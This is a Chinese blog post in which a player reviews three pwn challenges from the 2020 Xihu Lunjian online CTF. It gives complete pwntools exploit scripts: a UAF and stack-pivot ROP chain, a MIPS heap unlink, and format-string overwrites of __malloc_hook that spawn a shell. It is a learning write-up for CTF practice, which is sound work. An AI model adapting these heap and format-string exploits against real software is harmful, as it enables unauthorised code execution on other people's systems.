2020西湖论剑线上赛及复现
Time: 2020-10-11 Tags: binaryLink: 2020西湖论剑线上赛及复现
前言
这次比赛是我第一次跟V&N的人组队打的一场比赛。队友是xmao和v0id。由于我比较菜,我们队伍没能晋级到线下赛。因此及时反思一下,并且复现一下比赛题目,进行学习。
已出
mmutag
一个UAF的漏洞。给了栈地址,并且有输入可以控制栈上数据,能泄露canary。直接malloc_to_stack
进行常规ROP。
exp
from pwn import *
#io = process("./mmutag")
io = remote("183.129.189.62",59304)
elf = ELF("./mmutag")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
#context.log_level = 'debug'
def add(idx,con):
io.sendlineafter("choise:",'1')
io.sendlineafter("id:",str(idx))
io.sendafter("content",con)
def free(idx):
io.sendlineafter("choise:",'2')
io.sendlineafter("id:",str(idx))
def myread(con):
io.sendlineafter("choise:",'3')
sleep(0.1)
io.send(con)
rdi = 0x0000000000400d23
io.sendafter("name:",'asdf')
io.recvuntil("0x")
stack = int(io.recv(12),16)
log.info("stack : "+hex(stack))
io.sendlineafter("choice:",'2')
myread('a'*0x19)
io.recvuntil('a'*0x19)
canary = u64(io.recv(7).rjust(8,"\x00"))
log.info("canary : "+hex(canary))
myread("a"*0x10+p64(0x71))
add(1,'a')
add(2,'a')
free(1)
free(2)
free(1)
add(3,p64(stack-0x38))
add(4,p64(stack-0x38))
add(5,p64(stack-0x38))
payload = p64(canary)+p64(0)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400A99)
add(6,payload)
io.sendline("4")
libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x6f6a0
log.info("libc_base : "+hex(libc_base))
myread("a"*0x10+p64(0x71))
free(1)
free(2)
free(1)
add(7,p64(stack-0x18))
add(8,p64(stack-0x18))
add(9,p64(stack-0x18))
payload = p64(canary)+p64(0)+p64(rdi)+p64(libc.search('/bin/sh').next()+libc_base)+p64(libc.sym['system']+libc_base)
add(10,payload)
io.interactive()
妹出
managesystem
$ file pwn3
pwn3: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
$ checksec pwn3
[*] '/Users/sunyingli/Downloads/2020westlake/pwn/managesystem/pwn3'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
32位的mips堆题目,有点阴间。
但是查了查mips的堆之后,得到:mips的堆分配器是dlmalloc
,而ptmalloc
很大程度上是基于dlmalloc
的。所以说简单的ptmalloc
堆漏洞对于mips也适用。
调试的对策
在exp里面这么写:
io = process(['qemu-mipsel','-g','1234',"-L",'./','./pwn3'])
运行脚本之后等待gdb-multiarch
连接,我们运行gdb-multiarch
,输入target remote:1234
。即可连接。
反汇编的对策
ida没有对mips的F5,所以我们选用ida和cutter同时使用的方法进行反汇编。
解法
最后在edit函数里面找到了堆溢出。明显有8字节的溢出。
iVar1 = (*_read)(0, *(undefined4 *)(*(int32_t *)0x4117a8 + iStack12 * 8),
*(int32_t *)(*(int32_t *)0x4117a8 + iStack12 * 8 + 4) + 8);
因为没有PIE,直接进行unlink
。
EXP
from pwn import *
io = process(['qemu-mipsel',"-L",'./','./pwn3'])
#io = remote("node3.buuoj.cn",26789)
libc = ELF("./lib/libc.so.0")
context.arch = 'mips'
def add(size,con):
io.sendlineafter(">>",'1')
io.sendlineafter("length:",str(size))
io.sendafter("info:",con)
def free(idx):
io.sendlineafter(">>",'2')
io.sendlineafter("user:",str(idx))
def edit(idx,con):
io.sendlineafter(">>",'3')
io.sendlineafter("edit:",str(idx))
io.sendafter("info:",con)
def show(idx):
io.sendlineafter(">>",'4')
io.sendlineafter("show:",str(idx))
def dbg():
gdb.attach(io)
pause()
note_list = 0x00411830
add(0x80,'asdf')
add(0x80,'asdf')
add(0x20,'/bin/shh\x00')
payload = p32(0)+p32(0x81)+p32(note_list-0xc)+p32(note_list-0x8)
payload += '\x00'*0x70
payload += p32(0x80)+p32(0x88)
edit(0,payload)
free(1)
payload = 'a'*0x8+p32(0x4117B4)+p32(4)
edit(0,payload)
show(0)
io.recvuntil("info: ")
libc_base = u32(io.recv(4))-libc.sym['free']
log.info("libc_base : "+hex(libc_base))
edit(0,p32(libc_base+libc.sym['system']))
free(2)
io.interactive()
noleakfmt
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char v3; // [rsp+4h] [rbp-Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
alarm(0x1Eu);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
printf("gift : %p\n", &v3);
close(1);
while ( 1 )
{
_isoc99_scanf("%100s", byte_201040);
printf(byte_201040, byte_201040);
}
}
因为有close(1)
的存在,此题变得比较阴间。需要通过修改stdout
的fileno
为2才能进行输出,然后通过libc的指针得到shell。
def setnum1(tar,arg):
payload = '%'+str(tar&0xffff)+"c%10$hn"
io.sendline(payload)
payload = '%'+str(arg)+"c%36$hhn"
io.sendline(payload)
def setnum2(tar,arg):
payload = '%'+str(tar&0xffff)+"c%11$hn"
io.sendline(payload)
payload = '%'+str(arg&0xffff)+"c%37$hn"
io.sendline(payload)
第一步 需要修改printf
的返回地址为_start
,用以得到libc和stdout
的指针。
stack = int(io.recv(12),16)
if (stack&0xffff) > 0x2000:
io.close()
continue
log.info("stack : "+hex(stack))
setnum2(stack-0xc,0x17b0)
此时栈上%26$p
的位置已经有了stdout
的地址,%9$p
有libc的地址。
第二步 修改stdout+112
为0x2,获得输出的机会。
setnum1(stack-0x54,0x90)
payload = '%'+str(2)+"c%26$hhn"
io.sendline(payload)
payload = '%8$p%9$p'
io.sendline(payload)
io.recvuntil("0x")
pie = int(io.recv(12),16)-0x990
io.recvuntil("0x")
libc_base = int(io.recv(12),16)-0x20840
log.info("pie : "+hex(pie))
log.info("libc_base : "+hex(libc_base))
这样,我们已经有了libc地址,pie地址,任意写的权限。接下来改__malloc_hook
为one_gadget
,用%99999c
触发他。
def setnum3(tar,arg):
payload = '%'+str(tar&0xff)+"c%10$hhn"
io.sendline(payload)
payload = '%'+str(arg)+"c%36$hhn"
io.sendline(payload)
payload = '%'+str((libc_base+libc.sym['__malloc_hook'])&0xff)+"c%36$hhn"
io.sendline(payload)
setnum3(stack-0x53,((libc_base+libc.sym['__malloc_hook'])>>8)&0xff)
one = libc_base+0xf1207
payload = '%'+str((stack-0x54)&0xff)+"c%10$hhn"
io.sendline(payload)
payload = '%'+str((one)&0xff)+"c%26$hhn"
io.sendline(payload)
payload = '%'+str((libc_base+libc.sym['__malloc_hook']+1)&0xff)+"c%36$hhn"
io.sendline(payload)
payload = '%'+str((one>>8)&0xff)+"c%26$hhn"
io.sendline(payload)
payload = '%'+str((libc_base+libc.sym['__malloc_hook']+2)&0xff)+"c%36$hhn"
io.sendline(payload)
payload = '%'+str((one>>16)&0xff)+"c%26$hhn"
io.sendline(payload)
io.sendline("%99999c")
这样就能得到shell了。
但是1号句柄还是error的,我们需要用重定向将1号句柄重定向到我们的2号有输出的句柄。
io.sendline("exec 1>&2")
成功。
exp
from pwn import *
#io = process("./noleakfmt")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level = 'debug'
def setnum1(tar,arg):
payload = '%'+str(tar&0xffff)+"c%10$hn"
io.sendline(payload)
payload = '%'+str(arg)+"c%36$hhn"
io.sendline(payload)
def setnum2(tar,arg):
payload = '%'+str(tar&0xffff)+"c%11$hn"
io.sendline(payload)
payload = '%'+str(arg&0xffff)+"c%37$hn"
io.sendline(payload)
def setnum3(tar,arg):
payload = '%'+str(tar&0xff)+"c%10$hhn"
io.sendline(payload)
payload = '%'+str(arg)+"c%36$hhn"
io.sendline(payload)
while True:
try:
io = process("./noleakfmt")
io.recvuntil("0x")
stack = int(io.recv(12),16)
if (stack&0xffff) > 0x2000:
io.close()
continue
log.info("stack : "+hex(stack))
setnum2(stack-0xc,0x17b0)
setnum1(stack-0x54,0x90)
payload = '%'+str(2)+"c%26$hhn"
io.sendline(payload)
payload = '%8$p%9$p'
io.sendline(payload)
io.recvuntil("0x")
pie = int(io.recv(12),16)-0x990
io.recvuntil("0x")
libc_base = int(io.recv(12),16)-0x20840
log.info("pie : "+hex(pie))
log.info("libc_base : "+hex(libc_base))
payload = '%'+str((libc_base+libc.sym['__malloc_hook'])&0xff)+"c%36$hhn"
io.sendline(payload)
setnum3(stack-0x53,((libc_base+libc.sym['__malloc_hook'])>>8)&0xff)
one = libc_base+0xf1207
payload = '%'+str((stack-0x54)&0xff)+"c%10$hhn"
io.sendline(payload)
payload = '%'+str((one)&0xff)+"c%26$hhn"
io.sendline(payload)
payload = '%'+str((libc_base+libc.sym['__malloc_hook']+1)&0xff)+"c%36$hhn"
io.sendline(payload)
payload = '%'+str((one>>8)&0xff)+"c%26$hhn"
io.sendline(payload)
payload = '%'+str((libc_base+libc.sym['__malloc_hook']+2)&0xff)+"c%36$hhn"
io.sendline(payload)
payload = '%'+str((one>>16)&0xff)+"c%26$hhn"
io.sendline(payload)
io.sendline("%99999c")
io.sendline("exec 1>&2")
io.interactive()
except:
io.close()
continue
后记
有一个ezhttp,直接爆破,我本地写stdout失败了,没有复现成功。
总起来看,这几道题都不难。
我tcl。